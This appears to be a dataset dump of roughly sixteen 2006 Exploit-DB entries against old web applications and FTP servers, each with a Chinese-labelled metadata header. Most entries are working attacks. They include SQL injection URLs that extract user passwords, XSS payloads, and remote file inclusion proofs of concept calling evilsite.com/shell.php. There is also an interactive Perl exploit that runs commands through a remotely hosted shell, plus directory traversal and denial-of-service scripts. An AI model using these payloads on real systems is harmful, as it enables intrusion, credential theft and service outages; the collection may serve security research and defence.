QLWD/code_shield huggingface dataset:
标题: Enthrallweb eHomes 1.0 - Multiple (SQL Injection / Cross-Site Scripting) Vulnerabilities EDB-ID: 2987 CVE: 2006-6204 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: *******************************************************************************
# Title   :  Enthrallweb eHomes 1.0 Multiple (SQL/XSS) Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//result.asp?city=&State=&amaxprice=10000000&abedrooms=&cat=&aminprice=[SQL]

Example:

//result.asp?city=&State=&amaxprice=10000000&abedrooms=&cat=&aminprice=0%20union%20select%20U_Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20users

[[/SQL]]

[[XSS]]]---------------------------------------------------------

http://[target]/[path]//result.asp?city=[XSS]

Example:

//result.asp?city=%22%3E%3Cscript%3Ealert%28%27x%27%29%3B%3C%2Fscript%3E+

[[/XSS]]


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2987
标题: Enthrallweb eCars 1.0 - 'types.asp' SQL Injection EDB-ID: 2989 CVE: 2006-6803 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-23 漏洞利用脚本: *******************************************************************************
# Title   :  Enthrallweb eCars 1.0 (types.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//Types.asp?Type_id=[SQL]

Example:

Home >> Pass
//Types.asp?Type_id=-1%20union%20select%200,u_Password%20from%20users
Home >> user
//Types.asp?Type_id=-1%20union%20select%200,u_ID%20from%20users


[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2989
标题: b2 Blog 0.5 - 'b2verifauth.php' Remote File Inclusion EDB-ID: 2983 CVE: 2006-6830 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-23 漏洞利用脚本: ******************************************************************************************************
*b2 - 0.5 * [index] ******************* Remote File Ýnclude*******************************************
******************************************************************************************************
******************************************* +class : Remote File Include Vulnerability*
+******************************************************************************************************************
+Author : mdx                                                               
*
*****************************************************************************
+Files :                                                                    *
+b2verifauth.php?            *
*                                                                           *
**********************************************************************************
+code  :                 *
+                  *
+         include($index);        *
+                  *
*********************************************************************************************
+ Exploit  :              *
+********************************************************************************************+
+ http://www.site.***/[path]/b2verifauth.php?index=http://mdxshell.txt?         +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
=================================================================================================================
?     Hi , The_bat_hacker , How are you ? ;=)             *
?                   *
? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , Ozii ,padisah, sakkure ,zip,y.$il abbad, dreamlord  *
?                   *
?////////////////////////////////////////////////////////////////////////////////////////////////////////////////
?---------------------specials thanks  stroke ,SHiKaA----------------------------------------*
**********************************************************************************************
*******************              *
*******************                   KORKULARINIZ SADECE KABUSLARINIZDIR..         *
*******************              *
*******************                        Turkish Hacker by mdx          *
*******************                  *
*******************                        Korkmak Kurtulmak Degildir.        *
*******************                          *
**********************************************************************************************

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2983
标题: acFTP FTP Server 1.5 - 'REST/PBSZ' Remote Denial of Service EDB-ID: 2985 CVE: 2006-6775 类型: DOS 平台: WINDOWS 发布日期: 2006-12-23 漏洞利用脚本: #################################################
# acFTP 1.5 (REST/PBSZ) Denial of Service       #
# author: gbr                                   #
# mail: gabrielquadros[at]hotmail.com           #
#################################################


use IO::Socket;

if(!defined($ARGV[0])) {
       print "Usage: $0 ip port\n";
       exit;
}

my $sock = new IO::Socket::INET(PeerAddr => $ARGV[0],
                               PeerPort => $ARGV[1],
                               Proto    => 'tcp')
       or die "Could not open a socket: $!\n";

$sock->recv($buf, 1024);
$sock->send("USER anonymous\r\n");
$sock->recv($buf, 1024);
$sock->send("PASS anonymous\r\n");
$sock->recv($buf, 1024);
for($i=0; $i<10; $i++) {
       $data .= "{}*{";
}

$sock->send("REST $data\r\n");
# $sock->send("PBSZ $data\r\n");

print "Server exploited\n";

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2985
标题: 3editor CMS 0.42 - 'index.php' Local File Inclusion EDB-ID: 2982 CVE: 2006-6877 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-22 漏洞利用脚本: ************************************************************************     
*script Name: 3editor CMS (index.php) Local File Include Exploit       *
*Download:http://www.matteolucarelli.net/3editor/index.htm             *
*[Author      : Dr Max Virus                                           *
*[Contact     :drmaxvirus@w.cn                                         *
************************************************************************
*Bug & Problem                                                         *
*In file index.php Let's Take a look;                                  *
*if (!isset($_GET['page'])) include('phplib/treeedit.php');            *
*else include('phplib/'.$_GET['page']);                                *
************************************************************************
*As We can see the variable of page is not sanitized So attacker can   *
*apply his bug when:                                                   *
*register_globals=on                                                   *
************************************************************************
*POC Example:                                                          *
*http://[target]/[path]/index.php?page=../../../../../etc/passwd       *
************************************************************************
*Thx:str0ke -koray -ajann -Timq -r0ut3r -All my Friends                *
*special gr33ts:AsianEagle -The master -Kacper -Hotturk                *
************************************************************************

# milw0rm.com [2006-12-22] URL: https://www.exploit-db.com/exploits/2982
标题: MKPortal M1.1.1 - 'Urlobox' Cross-Site Request Forgery EDB-ID: 2977 CVE: 2006-6741 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-21 漏洞利用脚本: MkPortal Urlobox Cross Site Request Forgery

Discovered by: Demential
Web: http://www.burnhead.it
E-mail: info@burnhead.it
Mkportal website: http://www.mkportal.it

posting [img]?ind=urlobox&op=delete&idurlo=X[/img] in MkPortal urlobox
where X is an ID of a message,
when administrator opens urlobox page message X will be erased.

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2977
标题: PgmReloaded 0.8.5 - Multiple Remote File Inclusions EDB-ID: 2971 CVE: 2006-6710 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-21 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ PgmReloaded <= 0.8.5 Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://matteolucarelli.net/
+ Affected Software .: PgmReloaded <= 0.8.5
+ Download ..........: http://www.matteolucarelli.net/pgmreloaded/pgmreloaded-0.8.5.tgz
+ Description .......: "PgmReloaded is a simple CMS for e-commerce and generic web catalogs"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ PgmReloaded has several scripts which do not initialize variables before using them to
+ include files, assuming register_globals = on, we can initialize any one of the variables
+ in a query string and include a remote file of our choice. The index.php file is vulnerable
+ to remote file inclusion regardless of register_globals settings.
+
+ Vulnerable Code:
+ index.php, line(s) 06:
+ -> 06: if ($_GET["lang"]!="") include ($_GET["lang"] . ".php");
+ common.inc.php, line(s) 08-17:
+ -> 08: include ($CFG["libdir"] . "stdlib.inc.php");
+ -> 09: include ($CFG["libdir"] . "phplib/db_" . $CFG["dbms"] . ".inc.php"); // PHPLib...
+ -> 10: include ($CFG["libdir"] . "pgm_" . $CFG["dbms"] . ".inc.php");  // PGM extension...
+ -> 11: include ($CFG["libdir"] . $CFG["dbms"] . "_common.inc.php");
+ -> 12: include ($CFG["libdir"] . "pgm_common.inc.php");
+ -> 13: include ($CFG["libdir"] . "pgm_session.inc.php");
+ -> 14: include ($CFG["libdir"] . "pgm_users.inc.php");
+ -> 15: include ($CFG["libdir"] . "pgm_cart.inc.php");
+ -> 16: include ($CFG["libdir"] . "phplib/template.inc.php");
+ -> 17: include ($CFG["localedir"] . $CFG["base_lang"] . "/base_lang.inc.php");
+ form_header.php, line(s) 07-15:
+ -> 07: include ($CFG["localelangdir"] . "global-error.inc.php");
+ -> 15: include ($CFG["localelangdir"] . "global-common.inc.php");
+
+ Proof Of Concept:
+ http://[target]/[path]/index.php?lang=http://evilsite.com/shell.php?
+ http://[target]/[path]/common.inc.php?CFG[libdir]=http://evilsite.com/shell.php?
+ http://[target]/[path]/common.inc.php?CFG[localedir]=http://evilsite.com/shell.php?
+ http://[target]/[path]/form_header.php?errormsg=1&CFG[localelangdir]=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2971
标题: inertianews 0.02b - 'inertianews_main.php' Remote File Inclusion EDB-ID: 2976 CVE: 2006-6726 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-21 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                                                     +
+ inertianews 0.02b Remote File Include Vulnerability +
+                                                     +
+ Found3R: bd0rk || SOH-Crew                          +
+                                                     +
+ eMail: bd0rk[at]hackermail.com                      +
+                                                     +
+ Greetz: str0ke, TheJT, Axel H., Carsten S.          +
+                                                     +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Download: http://www.brentc.com/inertianews/download/inertianews02b.zip

=> Vulnerable Code in inertianews_main.php <=

Code: require ("$inews_path/inertia_sql_class.php");

[+]Exploit: http://[host]/[inertia_dir]/inertianews_main.php?inews_path=http://[TroubleScript]

Special-Greetz: ajann, Kacper, Google-Team :-)

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2976
标题: XM Easy Personal FTP Server 5.2.1 - 'USER' Format String Denial of Service EDB-ID: 2978 CVE: 2006-6751 类型: DOS 平台: WINDOWS 发布日期: 2006-12-22 漏洞利用脚本: import sys,os,string
import socket
import time

print "-----------------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.2.1 format string Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "-----------------------------------------------------------------------"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",21))
except:
   print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(2)
s.send('USER %s\r\n' % "%n") # or use every available command or really what you like
time.sleep(2)                # I try to use CFGHT command and it works :)

# milw0rm.com [2006-12-22] URL: https://www.exploit-db.com/exploits/2978
标题: SH-News 0.93 - 'misc.php' Remote File Inclusion EDB-ID: 2984 CVE: 2006-6801 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-23 漏洞利用脚本: #!/usr/bin/perl
#
#SH-News 0.93 (misc.php) Remote File Include Exploit
#
#Download: http://www.scripthome.de/down.php?id=6
#
#Vulnerable Code: require "{$news_cfg['path']}/german.inc.php";
#
#Coded by bd0rk || SOH-Crew
#
#Usage: shnews.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, rgod
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'misc.php?news_cfg[path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *SH-News 0.93 (misc.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: shnews.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to SHNews ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-12-23] URL: https://www.exploit-db.com/exploits/2984
标题: Http explorer Web Server 1.02 - Directory Traversal EDB-ID: 2974 CVE: 2006-6758 类型: REMOTE 平台: WINDOWS 发布日期: 2006-12-21 漏洞利用脚本: # Http explorer Web Server 1.02 Directory Transversal Vulnerability
# http://sourceforge.net/projects/http-explorer/
# Test:  http://[site]/../../../../ || http://[site]/../
# /str0ke

use LWP::Simple;
use strict;

sub usage
{
    print "Http explorer Web Server 1.02 Directory Transversal Vulnerability\n";
    print "str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com\n";
    exit ();
}

my $host= shift || &usage;

getprint "http://" . $host . "/../../../../../../../../boot.ini";

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2974
标题: PowerClan 1.14a - 'footer.inc.php' Remote File Inclusion EDB-ID: 2973 CVE: 2006-6715 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-21 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ PowerClan <= 1.14a (footer.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.powerscripts.org/
+ Affected Software .: PowerClan <= 1.14a
+ Download ..........: http://ftp.powerscripts.org/pc/powerclan114a.zip
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ PowerClan footer.inc.php does not initialize the $settings[footer] variable before using it
+ to include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ footer.inc.php, line(s) 24:
+ -> 24: include($settings[footer]);
+
+ Proof Of Concept:
+ http://[target]/[path]/footer.inc.php?settings[footer]=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2973
标题: BolinTech DreamFTP Server 1.0.2 - 'PORT' Remote Denial of Service EDB-ID: 2972 CVE: 2006-6724 类型: DOS 平台: WINDOWS 发布日期: 2006-12-21 漏洞利用脚本: /*
=============================================================
DREAM FTP Server 1.0.2 (PORT) Denial of Service Exploit
=============================================================
Discovered by: InTeL
*Tested on DREAM FTP v1.02 on Windows XP SP2*

Dream FTP v1.02 also has anonymous logins enabled by default 
which enables anyone to crash the server at will.
But if the anonymous logins have been disabled try it with 
a another user/pass account

Shoutz: bryan@top-notch.ws , Digerati, Erazerz, everyone else u kno who u are
*/

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib,"wsock32.lib")

int usage(char *);


int usage(char *filename)
{
    printf("Dream FTP v1.02 DoS exploit\r\n");
    printf("By InTeL\r\n");
    printf("USAGE: %s <IP_Address> <port>\r\n", filename);

 exit(0);
}

int main(int argc, char *argv[])
{
 char evilbuf[40], recvbuf[1028];
 unsigned short port;
 struct sockaddr_in saddr;
 struct hostent *he;
 WSADATA wsaData;
 SOCKET sock;

 if(argc != 3)
  usage(argv[0]);

 port = atoi(argv[2]); 
 if(WSAStartup(MAKEWORD(2,2), &wsaData) != 0){
  printf("Unable to initialize Winsock \n");
  exit(1);
 }

 if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET){
  printf("Socket Error \n");
  exit(1);
 }

 if ((he = gethostbyname(argv[1])) == NULL){  
  printf("Couldnt Resolve %s \n",argv[1]);
  exit(1);
 }

 memset(&saddr, 0, sizeof(saddr));
 saddr.sin_family = AF_INET;
 saddr.sin_addr = *((struct in_addr *)he->h_addr); 
 saddr.sin_port = htons(port);

 if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR){
  printf("Connect Error \n");
       exit(1);
 }

 for(int i = 0; i<3;i++){
  memset(recvbuf, 0, sizeof(recvbuf));
  recv(sock, recvbuf, 1027, 0);
 }
 printf("Logging in\r\n"); 

 memset(evilbuf, 0,sizeof(evilbuf));
 strcpy(evilbuf, "USER Anonymous\r\n"); //USER
 send (sock, evilbuf, strlen(evilbuf), 0);
   
 for(i=0;i<4;i++){
  memset(recvbuf,0,sizeof(recvbuf));
  recv(sock, recvbuf, 1027, 0);
    }
   
 memset(evilbuf, 0, sizeof(evilbuf));
 strcpy(evilbuf, "PASS Anonymous\r\n"); //PASS
 send (sock, evilbuf, strlen(evilbuf), 0);

 for(i=0; i<3;i++) {
  memset(recvbuf, 0, sizeof(recvbuf));
  recv(sock, recvbuf, 1027, 0);
    }
 printf("Building overflow string\r\n");

 memset(evilbuf,0,sizeof(evilbuf));
 strcpy(evilbuf, "PORT ");  //PORT 
 for(i = 5;i != 36;i++)
  evilbuf[i] = 'A';
    strcat(evilbuf,"\r\n");
 
 send (sock, evilbuf, strlen(evilbuf), 0);  
   
 printf("DoS Attack Done\r\n");
 closesocket(sock);

 return 0;
}

// milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2972
标题: TextSend 1.5 - '/config/sender.php' Remote File Inclusion EDB-ID: 2965 CVE: 2006-6686 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-20 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.textsend.info/
+ Affected Software .: TextSend <= 1.5
+ Download ..........: http://www.textsend.info/download/TextSendv1.5.zip
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ TextSend config/sender.php does not initialize the $ROOT_PATH variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ config/sender.php, line(s) 10:
+ -> include ("$ROOT_PATH/config.php");
+
+ Proof Of Concept:
+ http://[target]/[path]/config/sender.php?ROOT_PATH=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-20] URL: https://www.exploit-db.com/exploits/2965
标题: Newxooper-PHP 0.9.1 - 'mapage.php' Remote File Inclusion EDB-ID: 2970 CVE: 2006-6711 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-21 漏洞利用脚本: ###########################################################################################
#Newxooper-php v0.9.1(chemin) Remote File Include Vulnerabilty #
#Download:http://www.easy-script.com/newxoope-091.zip #
###########################################################################################
#Author:Dr Max Virus #
#Location:Egypt #
###########################################################################################
#Bug in compteur/mapage.php #
#In Line:37 #
#Vul Code: #
#REQUIRE ("$chemin/compteur/mapage.txt"); #
###########################################################################################
#POC: #
#http://[target]/[path]/compteur/mapage.php?chemin=Evil Code #
###########################################################################################
#Thx:str0ke & ajann &All friends #
#Special Gr33ts:AsianEagle & The master & Kacper & Hotturk #
###########################################################################################

# milw0rm.com [2006-12-21] URL: https://www.exploit-db.com/exploits/2970
标题: RealPlayer 10.5 - ActiveX Control Denial of Service EDB-ID: 2966 CVE: 2006-6759 类型: DOS 平台: WINDOWS 发布日期: 2006-12-20 漏洞利用脚本: <!--
---------------------------------------------------------------------------
RealPlayer 10.5 rpau3260.dll Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<body>
<object classid="clsid:405DE7C0-E7DD-11D2-92C5-00C0F01F77C1" id="RealPlayer">
</object>
<script>
RealPlayer.Initialize("AA","defaultV")
</script>
</html>
</body>

<!--
Just initialize the control, the close IE :)
-->

# milw0rm.com [2006-12-20] URL: https://www.exploit-db.com/exploits/2966